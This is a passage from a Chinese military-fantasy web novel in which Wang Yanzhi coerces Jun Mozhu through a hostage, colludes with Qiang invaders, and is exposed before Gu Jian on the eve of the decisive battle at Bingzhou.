王风赞并没管君墨竹的愤怒,漫不经心地说道:
“不管怎么样,君大人还活着,你还活着,君家就不算亡。我王家给了你爹活下去的机会,你若是不珍惜,那你爹可就是被你害死的。
若真是如此,恐怕君公子这辈子都会活在自责与内疚中吧?”
“或许还有一种方法。”
君墨竹的嘴角勾起一抹冷笑:
“我扣了你,用你的命去换回我爹!”
“哈哈哈哈。”
王风赞大笑一声:
“难道君公子觉得我会比你爹还重要?我敢打赌,你今天扣了我,明天你爹的人头就会送过来。
要不你试试?”
君墨竹沉默了,帐中一片死寂。
以王彦之的性子,既然让王风赞来了就绝对想到了最坏的结果。
王风赞缓缓起身:
“我知道洛羽军中有万余定州军卒,眼下全归君沉老将军指挥,以君公子的能力,应该有方法将一万多人带走吧?
我们没有要求你反戈一击,只是希望定州的兵马不出现在并州城外,这一点肯定不难做到。
至于决战之后,君家与王家的恩怨如何解决,那就是我们两家的事了。”
平静的嗓音在屋中缓缓回荡,君墨竹眉头紧凝,仿佛陷入了痛苦的挣扎之中。
拒绝,那自己的父亲必死无疑。接受,洛羽怎么办?阙州军怎么办?
进退两难。
王风赞走到营门口,最后留下一句:
“你是出了名的孝子,为了你爹连定州持节令的官位都可以不要,想必更不想亲手害死自己的父亲吧?君大人在狱中可是日日夜夜念叨着你的名字,甚是想念啊。
我相信君公子会做出正确的决定,呵呵。”
人影消失不见,独坐帐中的君墨竹缓缓攥紧拳头,面露苦涩,最后眼眸中出现一抹坚定与疯狂:
“爹,儿子一定会救你的!”
第293章帮我做最后一件事
大批军卒迈步远行,骑军步卒泾渭分明,黑甲茫茫,旌旗蔽野。
洛羽麾下主力今日开始向并州城开拔,等待五天后的决战。
营门口处,一众将领驻足,但他们的神情中都带着些许忧虑。
只因为昨天传来消息,说定州还残留一部分王家余孽,四处纵火捣乱,搅得境内不得安宁。
此次挥师平定陇西,进展神速,动作虽然快但步子太大也扯着蛋了,没空去收拾小股余孽,算是留下了些隐患。
“将军,这该如何是好啊。”
凌桐皱着眉头:
“大战之际后方不稳,此乃兵家大忌啊,眼下西羌还陈兵关外,若是处置不当,只怕要出大麻烦。”
“还是我和君老将军带兵回定州吧。”
君墨竹踌躇半响,最后沉声道:
“我们熟悉定州的情况,一万兵马回援,用不了半个月就能扫清王家余孽,还可以作为寒山关的后援。
并州决战若胜,自然最好,若是战事陷入僵局,咱们就回头增兵支援。
进可攻退可守!”
“一万兵马回援是不是太多了些?”
凌桐提出了自己的疑问:
“咱们对王家兵力谈不上优势,再分兵一万就有点伤筋动骨了,依我看派两三千人回去便好。”
“凌将军,诺大一个定州,两三千兵马可不够。”
君墨竹轻笑一声:
“王家虽然有五六万兵马,可他们还要驻守并州城,能出动的兵马顶多与我方持平。
况且城外野战,骑兵最重要,君老将军麾下大多都是步卒,在与不在都不是胜负手。
虎豹骑、血归军、阙州卫,皆是天底下一等一的骑兵精锐,有他们在,此战定能战而胜之。
洛将军,就让我带兵回援吧。”
“也行,定州安危同样重要。”
洛羽最终同意了君墨竹的请求:
“那你和君老将军就改道去定州,扫清境内骚乱之后可以增兵寒山关,襄助林戈。”
“微臣遵命!”
君墨竹神色凝重,深深弯下腰肢:
“那就祝将军大胜,一统陇西!”
凌桐目光闪烁,总感觉君墨竹的神情不太自然。
“大军分兵,转道定州!”
“咚咚咚!”
一连串急促的鼓点声中,正在行进中的大军一分为二,君墨竹与君沉带着一万兵马转向了岔路,回援定州。
凌桐驻足遥望了很久,最后小心翼翼地说道:
“末将有一句话不知当讲不当讲。”
“说吧。”
洛羽笑了笑:“大可畅所欲言。”
凌桐苦笑一声:
“末将还是觉得分兵不妥,而且君公子的态度有些古怪,总感觉他一心要带兵离去。”
洛羽眉头微挑:
“你似乎话里有话啊?”
“那我就直言了!”
凌桐咬了咬牙,下定决心道:
“洛将军、萧将军,你们别忘了君大人还在王彦之手里,若是他以此为要挟,暗中让君公子做些什么事,或许会影响整个战局啊。”
风沙吹拂,凌桐的话已经说得很明白了,他怀疑君墨竹有问题!
萧少游瞅了瞅洛羽,没吱声。
沉默许久,洛羽目光遥望,喃喃道:
“我一向用人不疑,疑人不用。
如果真如将军所言,那也是墨竹自己的选择,我们改变不了。
走吧,去并州城!
一决生死的时候到了!”
……
并州城内
王彦之面带微笑,志得意满,因为他已经接到了军报,曳落军和寒羽骑先后离去,现在君墨竹又带走了一万兵马,洛羽麾下兵力大减。
今日议事厅中多了一个人,龙泉山顾剑。
王彦之的笑容终于让顾剑忍不住发问了了:
“王大人,定州军卒离开一事该不会是你的手段吧?”
顾剑可不是傻子,君世雍还在王彦之手里,好端端的君墨竹就带兵走了,没鬼才怪。
“哈哈哈,天机不可泄露啊。”
王彦之朗声大笑:
“咱们还是来谈谈战事,眼下洛家军已经在城外三十里处安营,离决战之日仅剩三天了。
今日请顾兄来,是有一事相求!”
顾剑默然问道:
“王大人是想让我参与此次决战?”
“对!”
王彦之沉声道:
“眼下敌军兵力分散,洛羽手下的主力精骑只剩虎豹骑、血归军、阙州卫。
我想请顾兄出手,在大战之际帮我拖住其中两支精骑,剩下的交给我!
阙州军骁勇善战,陇西闻名,但顾家军同样是天底下一等一的精锐,以一敌二想要赢很难,但拖住半日应该不成问题。
如何?”
顾剑沉默了,王彦之耐着性子问道:
“顾兄若是觉得困难,届时我会划归三千骑兵给你,助你一臂之力!
顾家军六千骑,再加我的三千骑,拖住血归军和阙州卫足够了!”
“倒不是觉得难。”
顾剑终于开口了,语气中隐隐带着些不满:
“王大人,你了解我,也了解顾家,我龙泉山一向不参与陇西内斗,现在我多次针对洛羽出手,已经有违祖训。
再说一句题外话,西羌七皇子陈兵阙州关外,两朝大战在即,这时候我们还忙着内斗,不妥吧?
依我之见,现在陇西三州应该握手言和,一致对外!”
“顾兄,不是我想和洛羽开战啊。”
王彦之面露难色:
“你也看到了,是洛羽先出兵进攻定州,而后攻入并州,步步紧逼,这是铁了心要灭掉我王家。
此子野心太大!现在就算我王家想议和,你觉得他会同意吗?”
“我保证,这是最后一次!”
王彦之竖起一根手指,信誓旦旦地保证道:
“只要顾兄帮我拖住两支主力精骑,不论胜败,顾家欠王家的情都算还完了!
此战若胜,我王家定举全境之兵,抗击羌贼,誓死守卫边关!”
铿锵有力的嗓音在屋中缓缓回荡,王彦之的表情是那么的大义凛然!
听到这句话,顾剑努了努嘴,最终抬起抬头:
“王家救了我母亲,我答应过替你们做三件事,此前两件事都是功败垂成,这次你开口,我一定帮。
就像你说的,此战不论胜败,王家的情我都还了!
大战之时,顾家军必到!”
“一言为定!”
顾剑走了,王彦之往椅背上一趟,表情十分舒畅。
万事皆定!
王风赞紧跟着走了进来,意有所指地说了一句:
“大人,顾剑只怕对我们已经心生不满了啊。”
显然他刚才听到了两人的对话。
“我知道,他一向讨厌内斗,不过得人千金不如顾剑一诺,他肯定会来的。”
王彦之的眼中闪过一抹寒意:
“洛羽手中兵力大减,而我方嫡系精锐皆在,此战必胜!
待击败洛羽,咱们顺手再把他给收拾了,龙泉山该消失了。
呵呵。”
阴险的笑声在屋中缓缓回荡,王风赞心领神会,弯腰轻笑:
“末将再给大人送上一个好消息。”
“讲!”
“边关事成,寒山关已经被羌人攻破!”
第294章灭顶之灾,谁敢战!
“寒山关失守了?怎么可能!”
“前几天游弩手探报,羌兵还驻扎在云阳关外啊,怎么眨眼间就去了寒山关!”
“林戈不是带着两千步卒去了吗,再加上收编的降卒有近四千兵马,凭险要地势固守不可能这么快失守啊!”
大军帅帐,众将闻讯而至,每个人的脸上都写着震惊二字。
全军刚刚抵达并州城外扎营,上下一心准备决战,突然传来了寒山关失守的噩耗,所有人始料未及!
从寒山关逃回来的沐峰瘫在椅子上,浑身血污,甲胄尽碎,大腿上还有一道触目惊心的刀疤,感觉就只剩一口气了。
“内奸,有内奸!收编的降卒里有王家提前埋下的暗桩!”
沐峰捂着胸口,目光猩红:
“我和林将军刚到寒山关没几天,尚且在整顿城内军卒、加固城防。
两万羌骑突然在深夜抵达寒山关外,王家埋下的奸细杀了守门军卒,打开城门,放羌军入关。
我军奋战一昼夜,守卒战至全军覆没也挡不住两万羌骑的强攻,最后时刻林将军率兵断后,让卑职拼死赶回来报信,他说寒山关可以丢,但一定要把军情送回来!
几千人,几千人就这么没了。”
沐峰的眼眶中有泪花在打转,那一夜的激战想必格外惨烈,堪称尸山血海。
主位上的洛羽拳头攥紧,面色铁青:
“林戈呢?”
所有人都能感受到洛羽胸中压着极致的怒火。
沐峰擦了一把眼角流出的泪花:
“直到我突围之前,林将军还在率残部奋战,生死不明。”
“羌骑呢?破关之后有何举动!”
洛羽拳头攥紧:
“可有屠杀城内百姓?”
“他们没有在寒山关逗留,而是轻装极进,一路绕过坚城,正往并州赶来。
我留了一队游弩手在后观察,现在他们应该抵达并州边境了。”
“没有停留?直奔并州!”
众人面色抖变,羌兵这是奔着并州战场来了,是要在决战之际狠狠捅洛家军一刀!
“妈的,王彦之!”
一向沉稳的萧少游破口大骂:
“阴谋,这才是最大的阴谋!他们收缩兵力回并州城等地不是羌兵犯境,而是他早与西羌串通,想在并州城外前后夹击,一举歼灭我军主力!”
所有人都想明白了,王彦之早就知道单凭自己敌不过洛家军,所以主动联系了西羌助阵,自己退守并州城。
因为西羌与洛羽之间有杀子之仇!敌人的敌人就是朋友!
“卑鄙无耻的小人!”
蒙虎攥紧拳头:
“陇西内战本是我们自己的事,可他竟然为了对付我们主动放开边防让羌骑入境,置三州百姓安危于不顾。
叛国的奸贼!陇西的败类!”
所有人都义愤填膺,骂声不绝,王彦之为了赢还真是不择手段,毫无底线!
“好了,骂又什么用,能击退羌人吗!”
洛羽一声冷喝止住了众人的暴躁:
“两万羌骑一路轻装急进,推算一下路程,刚好可以在我们与王家决战之际抵达并州城外,介时和王家军联手,单靠我们的兵力怕是难以抵挡。
诸位,灭顶之危啊!
现在该想的是如何应对!”
众将沉默,洛羽说得对,灭顶之灾!
萧少游最先冷静下来,手指地图:
“君墨竹与君沉老将军虽然已经返回定州,但他们带走的兵马以步兵为主,根本不是两万羌骑的对手。
而且羌人的目标是我们,一定会避而不战,直插并州。
两州交界处的川庆城确实险要,但这不是勾连两州的唯一道路,羌骑完全可以学曳落军从山路进军,绕过川庆城。
我军想要赢就只有一个办法,分兵阻击羌骑,先将两万骑拦在并州城外,主力与王家决战。
力争在羌兵到来之前灭掉王家,再回头与羌兵一决生死!”
洛羽微微点头:
“少游说得没错,我们只准备了一桌菜,可现在来了两桌客人,怎么办?那就先吃王家,再灭羌贼!
险中求胜,这是唯一的办法!”
众人心头一沉,这可不是一加一这么简单啊,两万羌骑什么概念?就算没有王家,两万羌骑都得全力应对。
凌桐面露苦涩:
“可是川庆城既然无法挡住羌人,我们还能在哪里拒敌?并州境内以平原地形为主,没有险要之处了啊。”
“有!”
“玉屏山!”
洛羽早就想好了,指着地图上的山脉冷声道:
“羌兵若是想抵达并州城外,玉屏山是必经之路!也是我们唯一的希望!”
众人细看地图,还真是,如果羌兵不从玉屏山过,就得多绕上百里的路,对战马来说负担太大了,但凡长脑子就不可能绕路而行。
“眼下还有一桩难事。”
萧少游目光凝重:
“曳落军寒羽骑已经去了云阳关,我们手中的主力骑兵只剩虎豹骑、血归军、阙州卫。
与王家决战骑兵是主力,决不能再分兵,只能靠步卒阻击,这一场仗,很难很难。”
帐中一片死寂,在场的将军都知道萧少游还有一句话没说,那就是步卒也分不出多少人,否则与王家的决战就毫无胜算。
阻击的兵力少了,难以挡住羌人;分兵多了,决战就会输。
左右为难。
“别无选择,这是唯一的方法。”
洛羽环视众将:
“此战凶险至极,谁愿阻敌?”
“末将愿往!”
人群中走出一道壮硕的身影,原阙州第七营校尉、现任云阳关副将、玄岐军校第一届武状元:
石敢!
洛羽紧盯着他的眼眸,只问了一句话:
“你要多少人?”
“末将麾下三千人,足矣!”
众人面色一惊,调走三千步卒对决战影响不大,可三千人挡两万骑?
怎么可能。
“三千人,够吗?”
洛羽眼中闪过一丝担忧,但他很清楚军中挤不出再多的兵给他。
三千人,极限了。
“三千人足矣!”
石敢沉声道:
“但我要最好的盾、最好的甲、最好的矛!”
“给你!”
洛羽竖起一根手指,内心十分挣扎地下达军令:
“半日,必须挡住羌兵半天时间!”
半天,听起来很短,可对三千步卒来说注定会无比漫长。到时候两万战马会像洪流一样吞没他们,一轮一轮的凿阵注定会让玉屏山下尸山血海。
三千人,有人能回来吗?
石敢单膝跪地,抱拳行礼,坚定的嗓音在帐内回荡:
“末将不敢保证能挡住羌兵多久。”
“但玄岐军校的校训末将始终铭记于心,生死同赴、家国同在!
三千将士定会战至最后一兵一卒,绝不后退一步!羌兵想越过玉屏山,只能踩着我们的尸体过去!”
石敢长出一口气,屏气怒喝:
“末将石敢,请战玉屏山!”
第295章三州尽悬洛字旗
龙泉山
并州地势要比定州、阙州平坦得多,细细数来境内只有玉屏山和龙泉山两座山脉称得上险峻。
山中绿树成荫,风景宜人,还有几条小溪流穿山而过,好山好水好风光。
从数十年前开始这里就是顾家的祖居之地,传闻顾家先祖曾经是边关大将,在龙泉山打过一场恶战,战死同袍无数。
后来顾家就将家族迁到了这里,护卫那些亡灵,顺带着也照顾附近的百姓。顾家家教很好,历代家主都讲忠义、知礼节,宽厚待民,引来不少百姓在此定居。
久而久之以龙泉山为中心,附近那些村落城池都成了顾家的地盘,成了并州数一数二的大世家。
也就是说所谓的顾家军并不都姓顾,但所有人都心向顾家,凝聚力很强。
山顶祠堂。
顾剑默默跪在地上,屋内放着许多牌位,有他爷爷、有他父亲,都是顾家先祖的灵位。
但灵堂正中央摆放的不是灵位,而是一把长剑。
古朴的长剑置于剑架之上,剑身通体青锋,阳光倾洒在表面甚至给人一种青光闪闪的感觉。
剑柄之上绑着一根青色的丝带,微风顺着纱窗吹过,青丝缕缕飘动,分外飘逸。
青锋剑,顾家祖传之剑,也是家主身份的象征。
此剑曾随顾家先祖征战边关,饮过无数羌人的血,乃是顾家的荣耀!
“剑儿,你当真要去吗?”
一名老妇缓步迈入屋中,满脸皱纹、老态龙钟,望着儿子坚毅的背影分外不舍。
顾剑的母亲,当初王家救活的就是她。
“娘,我答应过为王家做三件事,这是最后一次了。”
曾经重病一场的顾母身形佝偻,目光中带着一抹怅然:
“你爷爷曾经立下祖训,顾家不得参与陇西内斗,只要守自家平安即可,顾家的剑也决不能刺向自己人。
血色婚礼,你出手截杀安西将军;玉屏山一战,三千定州军卒死在顾家手里,说起来你已经违背了祖训。
这次两家决战并州城外,你还要举全族之力去掺和吗?”
“娘,王家救了你的命,我曾经许下过诺言,做人岂能言而无信?”
“可讲信义也要明辨是非!”
顾母面带愠怒:
“王家以婚礼为饵,灭君家全族,丧尽天良,我顾家岂能与这样的人为伍!”
“事已至此,没有回头路了。”
顾剑艰难的说道:
“我保证,这是最后一次!不论胜负,以后咱们就在龙泉山安安心心过日子。”
“安安心心过日子?”
顾母摇了摇头,惨然一笑:
“既然已经插手陇西内乱,就无法再抽身而出了。
此战不论是王家赢还是洛家赢,他们都不可能允许顾家继续存在,这么简单的道理你都看不明白吗?
族中有不少人心有怨言,他们不敢对你讲,只能我来讲!”
“我知道很多人不想打这一仗,但我别无选择。”
顾剑轻轻抚摸着剑锋:
“爷爷曾经说过,顾家危难之际可持此剑号令全族,所以今日我来请青锋剑出山。
此战之后,不管何人想对顾家出手,我定会率军拼死一战!
王家也好、洛家也好、羌兵也罢,我会持此剑,杀尽来犯之敌!”
“唉,糊涂啊!”
顾母眼中闪烁着泪花,不再多劝,世上没人比母亲更了解儿子的心思了。
顾剑决定的事,绝无改变的可能。
顾剑取下青锋长剑,跪伏于地:
“子孙不孝,跪别先祖!”
……
并州城
十几位家族将领齐聚一堂,甲胄在身,神情肃穆。
王彦之负手而立,朗声喝道:
“明日便是决战,诸位都准备好了吗!”
“轰!”
众将单膝跪地,齐声喝道:
“愿为家主一战,歼灭洛家军,万死不辞!”
“很好。”
王彦之面露微笑:
“洛羽现在是势单力孤,等两万羌骑从背后杀到,焉能不败?
待事成之后,我王家就是陇西之主,届时诸位都是功臣,高官厚禄、荣华富贵,人人有赏!”
“谢家主!”
“退下吧,明日全军出城,倾力一战!”
“诺!”
众将领鱼贯而出,王风赞犹豫片刻道:
“家主,此战优势虽然在我,但我总有点不放心,君墨竹真的会老老实实按兵不动吗?此人一向诡计多端,万一使诈该如何是好?”
“他父亲在我们手上,怕什么?到时候让王星带两千兵马留守城内,君墨竹若是敢耍花样,我们就拿他父亲的人头祭旗!”
王彦之面带微笑:
“再说了,区区万余步卒派不上什么大用场的。两万羌骑足以打垮洛家军主力,此战洛羽必败无疑!”
“那战胜洛羽之后呢?两万羌骑如何解决?”
王风赞略显忧心:
“羌人狼子野心,天下皆知啊,咱们与虎谋皮是不是太危险了?”
“呵呵,羌骑用不着担心。”
王彦之早就考虑过这件事:
“耶律乌戈死在洛羽手里,耶律昭夜铁了心地想报仇,洛羽又是安西将军,视羌人为死敌。
等羌兵一到我们就撤出战场,让他们狗咬狗!
与洛羽死拼之后,两万骑还能剩下多少?咱们顺手一起灭了。
到时候陇西皆入我手,携击败羌兵之威号令三州,民心归附,谁敢不从?”
“家主深谋远虑,属下佩服!”
“哈哈。”
王彦之朗笑一声:
“我要亲眼看着洛羽惨死在乱军丛中,我们才是最后的赢家!”
……
夜幕缓缓降临,军营中火光缭绕,宛如巨兽盘旋在陇西大地。
明日便是决战,今夜只怕有无数军卒彻夜难眠。
洛羽也没有睡,登上了一座小土坡,就这么往地上一躺,仰望星空。但今夜没有星光,月色全无,总感觉有一层乌云笼罩天穹。
“无月无星,只怕明天要下雨啊。”
萧少游从黑暗中走出,学着洛羽的样子躺下,浑然不顾一身白甲被灰尘弄脏。
“下吧。”
洛羽喃喃道:
“用一场暴风雨洗刷陇西的污泥肮脏,挺好。”
萧少游低声汇报军情:
“据游弩手探报,羌兵果然绕过了川庆城,正在急速行军。
石敢已经到玉屏山了,随军所需的铁盾、长枪皆用马车运载,三千将士都留下了遗书。
各军也准备完毕,只待明日开战。”
“嗯。”
洛羽轻轻应了一声,没再说什么。
两人就这么躺在草地上,感受着晚风轻轻拂过脸颊。
许久之后,萧少游嘴唇轻努:
“能赢吗?”
“当然。”
洛羽伸手在虚空中一握,像是要把星空抓住:
“此战之后,三州尽悬洛字旗!”
第296章决战陇西(十二点还有!!)
景丰十一年,初秋
并州城外,陇西决战!
乌云像打翻的墨汁在空中翻涌碰撞,将清晨的阳光吞噬得所剩无几,天地间都蒙着一层阴霾,秋风卷过平原,满目青草在风中伏低身躯。
隐隐有雷鸣在云层中酝酿,大雨将至!
三座军阵矗立风中,漫天旌旗飞舞,无数将士列阵,任你风起云涌,也吹不散充斥天地的肃杀之气。
东墙之外,王家军阵。
整整五万余兵马倾巢而出,一万五千精骑摆在正当中,两侧步阵层层递进,长枪林立、盾牌高举,王家积攒多年的家底全拿了出来。
西侧土坡,洛家军阵。
三千虎豹骑居中,血归军、阙州卫一万精骑列阵两侧,后方便是数以万计的步卒,强弓硬弩蓄势待发,两千亲兵营拱卫中军,一面“洛”字军旗迎风而立,猎猎作响。
黑甲茫茫,铁骨铮铮!
两军之间隔着广阔的平原,侧面乃六千顾家精骑,与并州军呈掎角之势,遥相呼应。
顾剑用剑,但六千将士可不用剑,人人手握长矛,依旧是一袭黑色劲衣,不同的是所有人的矛尖之上都绑着一根青色丝带。
相传顾家先祖率军征战沙场时就喜欢青丝,久而久之变成了习惯。
放眼望去,近十万兵马汇聚此地,堪称陇西数十年来规模最大的一场战事,杀意弥漫天际。
一骑飞奔而出,高举白旗,至洛家军阵前怒喝:
“你们兵少势危,败局已显!何必苦苦挣扎,负隅顽抗?劝你早降,可留尔等一条活路。
否则战端一开,全军尽屠!”
“嗖!”
“嗤!”
话音刚落,一支利箭陡然从天而降,稳稳没入此人头颅,脑浆迸射,当场坠马身死。
“杀!”
洛家军齐齐一声怒吼,他们用行动宣示,投降绝无可能!
“好一个洛羽,死到临头尚不自知。”
王彦之冷笑一声,亲帅卫队策马前行,王风赞随行护卫,至战场中央等候,洛羽心领神会,同样带队前出。
四目相对,恨意滔天。
这是自血色婚礼之后二人第一次相见!
“好久不见了洛兄。”
王彦之轻笑一声:“真没想到啊,你不仅能逃出并州,还能将我王家逼到这一步,倒是我小觑你了。”
洛羽面无表情:
“你没想到的事情还有很多。”
“是吗?两国相交不斩来使,洛兄射杀我方军卒,无礼了些吧。”
王彦之一身长袍飘飘,和第一次见面时一模一样,翩翩佳公子,浑然看不出他是一个被野心冲昏头脑的无耻之徒。
“无礼?呵呵。”
洛羽讥讽一笑:
“对你这样背弃祖宗、叛国通敌的人来说还要讲究礼数?笑话。”
“你还是和以前一样,牙尖嘴利。”
王彦之并不恼怒,只是嘴角微微上扬:
“明说了吧,君墨竹带兵离去可不是为了清除定州余孽,而是与我王家议和,罢兵休战。他父亲在我手上,难道还敢与我为敌不成?
洛兄,你拼死拼活救他逃出并州,如今落得此等结局,后悔吗?”
“卑鄙小人!”
洛羽面色铁青,拳头微微攥紧,恨不得一刀活劈了王彦之:
“以婚礼为饵,诱杀盟友,更引羌贼入境,致使生灵涂炭,你就不怕背上千古骂名吗!”
“哈哈哈,哪来的骂名?自古以来都是成王败寇!只要打赢了这场仗,史书自然会说是我英明神武、一统三州。
至于你,呵呵,协助君家刺杀朝廷命官的反贼罢了!”
“你就这么有自信能赢?”
洛羽的目光缓缓扫过对面军阵:
“说句实话,你王家五六万兵马我还真看看不眼!至于两万羌骑,呵呵,败在我手上的羌兵可不止两万人。”
“洛将军真是嘴硬啊,那咱们就看看,今日到底是谁死!”
王彦之轻笑一声,刚想策马离去却突然被洛羽叫住:
“等等!”
“洛兄还有何话说?”
洛羽突然诡异一笑,转向顾家军阵朗声高喝:
“顾将军,请阵前一见!”
吼声滚滚如雷,顾剑与王彦之齐齐皱起了眉头,洛羽见他干嘛?顾剑并没有行出军阵的打算,在他看来要战便战,没什么好说的。
洛羽又高呼一声:
“事关你娘的病!”
话音一落,王彦之的表情就僵住了,心中隐隐泛起一股不安。
顾剑果然是孝子,听到这话立马疾驰而出,飞奔洛羽面前,眉头紧皱:
“为何无缘无故提到我娘的病?”
“给你讲个故事吧。”
洛羽先是看了一眼王彦之,然后眉头微挑:
“多年前龙泉山有两个丫鬟,一个叫彩云、一个叫红芳,二人做事聪明伶俐、心灵手巧,很快便赢得了你母亲的喜爱,招在身边当作贴身丫鬟,伺候日常起居。
从那之后,你娘亲便开始感染怪病,身子骨越发的差,到最后几乎无法下床,眼看性命垂危之际王家突然出现,送来良药,很快便治好顾母的怪病。
没错吧?”
“你怎么知道?”
顾剑愣住了,这两个丫鬟可是顾家府内人,别说洛羽了,就连顾家本族人都不一定认识这两人。
洛羽接着说道:
“顾母的病治好之后,彩云和红芳先后离开顾家,说是要回老家伺候双亲,你娘准了。可惜二人在回乡的途中遭遇马匪截杀,彩云当场惨死,红芳却不见踪影。
是吗?”
“没错,当初我娘还派人去找红芳,可惜始终寻不见其踪迹,后来便觉得她也死在马匪手中了,尸骨无存。”
顾剑的眉头越皱越紧:
“你到底想说什么?”
“如果我说,彩云和红芳乃是王家派过来的人,故意给你娘下毒,你信吗?”
“怎么可能!”
顾剑的瞳孔骤然一缩:
“绝不可能!我娘亲待她们如同亲生母亲,照顾有加,她们怎么可能给我娘亲下毒!”
“卑鄙!”
王彦之罕见暴怒,破口大骂:
“洛羽,你竟敢构陷王家!”
场面陡然混乱起来,空气中似乎弥漫着一股阴谋的味道。
“带上来!”
洛羽冷喝一声,岳伍将早就藏在人群中的红芳提了出来,当初聪明淋漓、娇艳欲滴的小丫鬟如今已成了满脸风霜的黄脸婆,再无往日嫩气,眼神中还带着一股恐惧。
“红芳,你竟然还活着!”
顾剑惊到了,这不是当初服侍娘亲的丫鬟吗!怎么从洛羽手里冒出来了。
“公,公子。”
红芳红着眼:
“我对不起您,对不起顾夫人,我和彩云是受王家胁迫,才不得不做此事。
奴婢罪该万死!”
“轰!”
顾剑浑身一颤,只觉得脑袋天旋地转,几乎不敢相信自己的耳朵。
当初娘亲中毒是王家所为!
“不可能,绝不可能。”
顾剑的脸色刹那间白了许多,他不敢相信自己将仇人视作恩人这么久,还倾尽顾家之力为他效命!
洛羽冷冷地盯着王彦之:
“是与不是,一问便知。”
“王彦之!”
顾剑怒吼出声:
“红芳所言是真是假!”
王彦之心头一颤,脸上出现了一抹气急败坏,怒斥道:
“你休要听他胡言!谎言,这都是他编造的谎言!王家与顾家相交多年,我何尝欺瞒过你半分,区区一个丫鬟的话,不足为信!”
“谎言?直到五天前你王家的杀手还在苦苦搜寻红芳的下落,将她家所在的小山村杀了个干干净净,生怕她突然出现坏了你王家的好事。”
洛羽冷喝一声:
“那队杀手已经被我抓了,你还想抵赖!”
“放屁!他们早已服毒自尽,你怎么……”
王彦之下意识地怒骂出声,话才说到一半就僵住了。
完了。说漏嘴了!
“果然是你!”
“蹭!”
顾剑积攒多时的愤怒在顷刻间爆发,青锋剑铮然出鞘:
“死吧,杂碎!”
剑锋直指王彦之的咽喉,吓得他魂不附体。
“铛!”
危急时刻,王风赞一刀挡开了长剑,怒喝一声:
“大人,走!”
“给我拦住他!”
王彦之虽然没练过武,可死亡的恐惧吓得他掉头就跑,王风赞紧随其后,数十号亲兵一拥而上,挡在两人身前。
“给我站住!”
暴怒中的顾剑长剑一横,三名亲兵的咽喉齐齐被割开一条血痕,当场毙命,紧跟着便是一阵刀光剑影,场面无比混乱。
可他区区一人,如何能在重重护卫之下杀了王彦之?只能眼睁睁看着他一路逃回军阵。
“混账,无耻至极的小人!”
顾剑仰天怒吼:
“我誓杀汝!”
吼声滚滚,如雷鸣般在所有人的耳边炸响。
三名主帅会面,没想到会发生如此戏剧性的一幕。
仓促逃回阵中的王彦之脸都气黑了:
“妈的,功亏一篑,为何洛羽会知道如此隐秘的事情!”
他想不通,此事堪称绝密,怎么会走漏风声!
“大人,现在怎么办。”
王风赞到现在还心有余悸,刚刚那一剑差点就没接住,手臂被震得发麻。
“怎么办?当然是一起杀了。”
王彦之的目光无比怨毒:
“无非多杀六千人罢了,难道我们还会输?全军备战!”
“诺!”
“全军备战!”
“轰!”
杀起陡然升腾。
顾剑咬牙切齿的拎着长剑,浑身杀意翻滚,又羞又怒。
自己竟然被骗了这么多年!还替王家杀了那么多无辜之人,耻辱,天大的耻辱!就在昨天顾母还劝他不要再帮助王家,他非要信守诺言、率军前来。
得人千金不如顾剑一诺,这句话在此刻看来无比讥讽!
洛羽看了一眼对面军阵,直视着顾剑眼眸:
“两军决战,羌兵压境,如今顾家要作何决定?”
“呼。”
长剑入鞘,顾剑深深弯下了自己的腰肢:
“是我顾剑瞎了眼,不辨是非、不明事理,给洛兄、给君家死去的族人、给无辜被杀的军卒赔礼了。”
洛羽目光闪烁,其实他的心情十分复杂,决战之际,如果能争取到顾剑相助自然多一层胜算,可说到底他手上沾着己方同袍的血啊。
“我知道你派了三千兵马去玉屏山阻击羌贼,可三千人远远不够。我会替你守住玉屏山,只要我还活着,西羌一兵一卒都别想出现在并州城外。”
顾剑策马转身,咬牙切齿:
“当初我在玉屏山杀了你们三千人,今日顾家还你六千条命!”
第297章千骑万骑战并州
天空中依旧是阴云密布,压得人胸口发闷,喘不过气来。
六千顾家军走了,驰援玉屏山。
如此变化令王彦之始料未及,但他知道自己的兵力依旧胜过洛家军!顾剑就算再强也不可能拦住两万羌骑吧?
最多拖延些时间罢了。
王风赞低声说道:
“大人,顾剑会不会坏了我们的大事?”
“六千骑而已,又没长三头六臂,慌什么!
洛羽四万人,我们近六万之众,想输都难!”
王彦之笃定自己一定能赢!
洛羽已经返回己方将台,决战之际,他的神色格外平静,只是轻轻一挥手:
“开战吧。”
萧少游手中令旗一挥,环绕将台四周的传令兵疾驰而出,飞奔各军阵前,怒声嘶吼:
“将军令!开战!”
“全军布阵!”
“轰!”
数以万计的军卒昂首挺胸,眼神中充斥着一股炙热,胸腔中有滚滚战意在燃烧。
兵力劣势又何妨?
洛家军大小上百战,打过的逆风仗还少吗!
“骑军列阵!步卒压住两翼!”
“弓弩手预备!”
“嘶嘶嘶!”
密集的弓弦拉动声回荡全场,强弓硬弩层层递进,锋芒毕露的箭矢蓄势待发。
“稳住弓弦!”
“将台军令!虎豹骑出战!”
“呸!”
等待多时的蒙虎啐了口唾沫,一握长枪,策马前行。三千黑甲精骑随之出阵,一排排锋线笔直前涌,滚滚如雷。
“久闻虎豹骑的大名了,今日终得一见。”
王彦之面无表情:
“分兵五千,探探他们的底细!”
“诺!”
王风赞同样抬臂高呼:
“骑军出战!”
“轰隆隆!”
居中五千骑缓缓前行,你若是仔细看就会发现,王家一万五千骑兵竟然人人配穿胸甲,在陇西三州中乃是绝对的大手笔。
果然并州最富啊!
领军之将段方,并州外姓武将第一人!使一手长枪,精通骑战,号称有万夫不当之勇。
近万骑兵在平原上展开对冲,马蹄声逐渐回荡云霄,震耳欲聋,仿佛大地都在颤抖。
虎豹骑三千悍卒,人人长枪向前,身形低伏,神色悍然,全军上下寂静无声,唯有战马轰鸣。
一股极致的压抑,引来狂风大作!
“风起陇西!”
“放箭!”
“嗖嗖嗖!”
漫天箭矢腾空而起,夹杂着尖锐的破风声撕裂云霄,狠狠砸落在王家骑兵的头顶。
一支长达丈余的床弩瞬间洞穿了骑卒的胸口,强劲的冲击力带飞尸体,硬生生砸倒了后方两名骑卒,鲜血飞溅。
如此血腥恐怖的场景在骑阵中不断上演,哀嚎声此起彼伏,在密集的箭雨攻势下,王家骑兵的锋线顿时变得松散。
王彦之目光一沉,他早就听说阙州有强弓硬弩,射程远杀伤力强,没想到如此厉害!
箭雨如蝗,遮天蔽日。
段方伏在马背上,耳边尽是箭矢破空的尖啸。
